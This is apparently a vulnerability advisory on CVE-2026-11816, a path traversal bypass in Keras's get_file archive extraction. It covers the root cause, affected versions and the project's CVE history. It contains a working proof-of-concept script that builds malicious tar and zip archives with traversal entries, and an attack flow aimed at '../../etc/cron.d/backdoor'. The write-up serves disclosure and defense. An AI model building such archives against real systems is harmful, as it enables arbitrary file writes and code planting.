Introduction
A path traversal bypass in Keras's archive extraction utilities allows attackers to write files to arbitrary locations on the filesystem when the process runs with its working directory set to /, a configuration that is the default in many Docker containers, CI/CD runners, and Jupyter environments. For organizations running ML pipelines that download and extract pretrained models or datasets using keras.utils.get_file(), this vulnerability (CVSS 8.1) quietly undermines the security boundary that was supposed to confine extracted files to their intended directory.
What makes CVE-2026-11816 particularly interesting is that it is a bypass of a previous fix. Keras addressed an earlier path traversal (CVE-2025-12060) in version 3.12.0, but the validation logic introduced in that fix contained a fundamental design flaw: it checked archive member paths against the process current working directory instead of the actual extraction destination. This means the security boundary was never anchored to the right reference point.
Technical Information
Root Cause: CWD as Validation Anchor
The vulnerability resides in keras/src/utils/file_utils.py, in two functions responsible for filtering archive members during extraction: filter_safe_tarinfos() and filter_safe_zipinfos(). These functions are called when keras.utils.get_file() processes an archive with extract=True.
Both functions compute their security boundary using resolve_path("."), which resolves to the process's current working directory. The is_path_in_dir function then checks whether a resolved archive member path starts with this boundary:
def resolve_path(path): return os.path.realpath(os.path.abspath(path)) def is_path_in_dir(path, base_dir): return resolve_path(os.path.join(base_dir, path)).startswith(base_dir)
The tar filter uses this logic as follows:
def filter_safe_tarinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if finfo.issym() or finfo.islnk(): if is_link_in_dir(finfo, base_dir): valid_path = True yield finfo elif is_path_in_dir(finfo.name, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, )
When CWD is /, resolve_path(".") returns /. The is_path_in_dir check then merely verifies whether a resolved path starts with /, which every absolute path on a Unix filesystem does. A traversal entry like ../../exploit/pwned.txt resolves to /exploit/pwned.txt, which starts with / and therefore passes the security filter. The validation boundary has collapsed to the entire filesystem root.
The AttributeError Bug in the Zip Filter
The filter_safe_zipinfos() function contains a secondary bug. When a blocked path is encountered, the warning message references finfo.name:
def filter_safe_zipinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if is_path_in_dir(finfo.filename, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, )
Python's ZipInfo objects use the .filename attribute, not .name. When a blocked entry triggers the warning path, an AttributeError is raised, crashing the extraction process. Files listed after the malicious entry in the archive are silently not extracted. This can corrupt ML pipelines by producing partially extracted training data without any obvious error signal, and it also masks the attack itself.
Python 3.11: No Safety Net
Python 3.12 introduced a filter="data" parameter to tarfile.open() that provides a built-in defense against path traversal in tar archives. Keras applies this parameter only for Python 3.12 and 3.13. Since Keras officially supports Python >= 3.11, installations on Python 3.11 lack this external protection entirely. In a containerized environment with CWD set to /, the flawed Keras filter becomes the sole defense against tar based path traversal, providing no real security.
Attack Flow
- An attacker crafts a malicious tar or zip archive containing traversal paths (e.g.,
../../etc/cron.d/backdoor), disguised as model weights or a dataset. - A victim downloads and extracts the archive using
keras.utils.get_file(extract=True). - In a containerized environment where CWD is
/, the traversal path passes the CWD based validation filter becauseis_path_in_dir('../../etc/cron.d/backdoor', '/')evaluates toTrue. - The attacker's files are written to arbitrary locations on the filesystem, enabling overwriting of SSH keys, cloud credentials, API tokens, injection of malicious code into application directories, or corruption of ML training datasets and pipelines.
Summary of Sub-Vulnerabilities
| Sub-Vulnerability | Function Affected | Root Cause | Impact | Python Version Scope |
|---|---|---|---|---|
| A: CWD Validation Bypass | filter_safe_tarinfos(), filter_safe_zipinfos() | Uses resolve_path(".") instead of extraction destination | Arbitrary file write outside extraction directory | All supported Python versions |
| B: AttributeError on Blocked Entry | filter_safe_zipinfos() | References finfo.name instead of finfo.filename for ZipInfo | Extraction crash; incomplete archive extraction | All supported Python versions |
C: Missing filter="data" Fallback | extract_open_archive() | Python 3.11 lacks filter="data" tarfile safety net | No defense in depth for tar archives on Python 3.11 | Python 3.11 only |
Proof of Concept
A public, fully executable proof of concept is available on the Huntr bug bounty platform. The PoC was reported by researcher Karim Foughali (@kimkou2024) on March 13, 2026, and demonstrates all three sub-vulnerabilities.
The PoC script reproduces the vulnerable Keras filter functions verbatim from keras/src/utils/file_utils.py (Keras 3.13.2), creates a malicious tar archive with a traversal path, sets CWD to / to simulate a Docker container, and then runs the archive through the Keras filter:
#!/usr/bin/env python3 import os import io import sys import tarfile import zipfile import pathlib import tempfile import warnings import shutil print("Keras path traversal in archive extraction PoC") print(f"Python: {sys.version.split()[0]}") # ── Exact copy from keras/src/utils/file_utils.py (Keras 3.13.2) ── def resolve_path(path): return os.path.realpath(os.path.abspath(path)) def is_path_in_dir(path, base_dir): return resolve_path(os.path.join(base_dir, path)).startswith(base_dir) def is_link_in_dir(info, base): tip = resolve_path(os.path.join(base, os.path.dirname(info.name))) return is_path_in_dir(info.linkname, base_dir=tip) def filter_safe_tarinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if finfo.issym() or finfo.islnk(): if is_link_in_dir(finfo, base_dir): valid_path = True yield finfo elif is_path_in_dir(finfo.name, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, ) def filter_safe_zipinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if is_path_in_dir(finfo.filename, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, ) # ── End Keras code ── workspace = pathlib.Path(tempfile.mkdtemp(prefix="keras_poc_")) extract_dir = workspace / "extract" exploit_dir = workspace / "exploit" zip_out = workspace / "zout" extract_dir.mkdir() exploit_dir.mkdir() zip_out.mkdir() original_cwd = os.getcwd() # ------------------------------------------------------------------- # Vulnerability A + C: tar traversal approved by Keras filter # ------------------------------------------------------------------- tar_path = workspace / "dataset.tgz" rel = os.path.relpath(str(exploit_dir / "pwned.txt"), str(extract_dir)) with tarfile.open(tar_path, "w:gz") as tar: payload = b"Keras path traversal via CWD bypass" info = tarfile.TarInfo(rel) info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) legit = tarfile.TarInfo("dataset.csv") legit.size = len(b"a,b\n") tar.addfile(legit, io.BytesIO(b"a,b\n")) print("\n[Vulnerability A + C] Tar traversal test") print(f"Archive: {tar_path}") print(f"Traversal member: {rel}") # Simulate Docker/CI style runtime where CWD=/ os.chdir("/") print(f"CWD set to: {os.getcwd()}") print(f"Keras filter base_dir = {resolve_path('.')}") print(f"\nFilter decision for traversal entry:") print(f" is_path_in_dir('{rel}', '/') = {is_path_in_dir(rel, resolve_path('.'))}") with tarfile.open(tar_path) as tar: print("\nFilter decisions for all members:") members = list(tar) for m in members: allowed = is_path_in_dir(m.name, resolve_path(".")) print(f" {m.name} -> {'ALLOWED' if allowed else 'BLOCKED'}") with tarfile.open(tar_path) as tar: tar.extractall(str(extract_dir), members=filter_safe_tarinfos(tar)) pwned = exploit_dir / "pwned.txt" if pwned.exists(): print(f"\nVULNERABLE: file escaped extraction directory -> {pwned}") print(f"Content: {pwned.read_text()}") else: print("\nSafe: traversal did not escape") os.chdir(original_cwd) # ------------------------------------------------------------------- # Vulnerability B: ZipInfo.name crash # ------------------------------------------------------------------- print("\n[Vulnerability B] ZipInfo crash test") zip_path = workspace / "model.zip" with zipfile.ZipFile(zip_path, "w") as zf: zf.writestr("config.json", "{}") zf.writestr("../../../evil.py", "pwned") zf.writestr("metadata.json", "{}") os.chdir(str(workspace)) try: with zipfile.ZipFile(zip_path) as zf: zf.extractall(str(zip_out), members=filter_safe_zipinfos(zf.infolist())) print("Zip extraction completed") except AttributeError as e: print(f"CRASH: {e}") if zip_out.exists(): print(f"Files extracted before crash: {os.listdir(str(zip_out))}") os.chdir(original_cwd) shutil.rmtree(workspace, ignore_errors=True) print("\nDone.")
The reported output confirms successful exploitation:
[Vulnerability A + C] Tar traversal test
Traversal member: ../../exploit/pwned.txt
CWD set to: /
Keras filter base_dir = /
Filter decision for traversal entry:
is_path_in_dir('../../exploit/pwned.txt', '/') = True
VULNERABLE: file escaped extraction directory -> /tmp/keras_poc_.../exploit/pwned.txt
[Vulnerability B] ZipInfo crash test
CRASH: 'ZipInfo' object has no attribute 'name'
Files extracted before crash: ['config.json']
The PoC demonstrates that when CWD is /, the traversal path ../../exploit/pwned.txt is approved by the Keras filter and the file is written outside the intended extraction directory. It also confirms that the AttributeError in the zip filter crashes extraction after only the first file (config.json) is extracted, silently dropping metadata.json.
Affected Systems and Versions
All Keras versions prior to 3.14.0 are affected. The vulnerability is present in the filter_safe_tarinfos() and filter_safe_zipinfos() functions in keras/src/utils/file_utils.py.
The impact varies by environment and Python version:
- All Python versions supported by Keras (>= 3.11): Sub-Vulnerability A (CWD validation bypass) and Sub-Vulnerability B (AttributeError in zip filter) apply.
- Python 3.11 specifically: Sub-Vulnerability C removes the
filter="data"safety net, leaving no fallback defense for tar archives. - Containerized environments (Docker, CI/CD runners, Jupyter): The vulnerability is most severe when the process CWD is set to
/, which is the default in many container configurations. In these environments, the validation boundary collapses to the filesystem root. - Non-containerized environments with CWD set to a user directory: The vulnerability still exists but the validation boundary is narrower, limiting the scope of traversal.
The fix is included in Keras 3.14.0 and the stable release 3.14.1 (published May 7, 2026).
Vendor Security History
Keras has a documented pattern of security vulnerabilities in file handling and model deserialization. CVE-2026-11816 is at least the fifth security advisory for the framework:
| CVE ID | Type | CVSS | Affected Versions | Fix Version |
|---|---|---|---|---|
| CVE-2025-9905 | Unsafe Lambda Layer Deserialization (RCE) | High | <= 3.11.2 | 3.12.0 |
| CVE-2025-12060 | Path Traversal (tar symlink, get_file) | Critical | < 3.12.0 | 3.12.0 |
| CVE-2025-12638 | Path Traversal (related) | N/A | < 3.12.0 | 3.12.0 |
| CVE-2025-1550 | RCE via Model.load_model (safe_mode bypass) | High | < 3.12.0 | 3.12.0 |
| CVE-2026-11816 | Path Traversal (CWD validation bypass) | 8.1 | < 3.14.0 | 3.14.0 |
The recurrence of path traversal vulnerabilities is notable. CVE-2025-12060 was the first path traversal discovered in keras.utils.get_file(), exploiting tar symlink resolution. CVE-2026-11816 bypasses the fix for CVE-2025-12060 by exploiting a different flaw in the same validation logic. As ZeroPath noted in their analysis, "Keras has previously experienced vulnerabilities related to file handling and model deserialization." This pattern suggests that the archive extraction subsystem has been a persistent attack surface and that organizations should treat Keras model and archive loading as an untrusted input boundary requiring additional sandboxing.
The Keras project participates in the Huntr AI/ML bug bounty platform. The disclosure bounty for CVE-2026-11816 was $900 and the fix bounty was $187.50.
References
- NVD: CVE-2026-11816
- Huntr Bug Bounty Report: CVE-2026-11816
- Keras Fix Commit 2465b66
- Keras GitHub Repository
- Keras Security Policy
- GHSA-hjqc-jx6g-rwp9: Keras get_file Directory Traversal Advisory
- ZeroPath: Keras CVE-2025-12060 Path Traversal Summary
- Huntr: Keras Repository on Huntr
- Huntr Blog: Hunting Vulnerabilities in Keras Model Deserialization
- NVD: CVE-2025-12060
- NVD: CVE-2025-1550
- Huntr: CVE-2025-9905 Unsafe Lambda Layer Deserialization
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CISA Known Exploited Vulnerabilities Catalog
- Keras Wikipedia



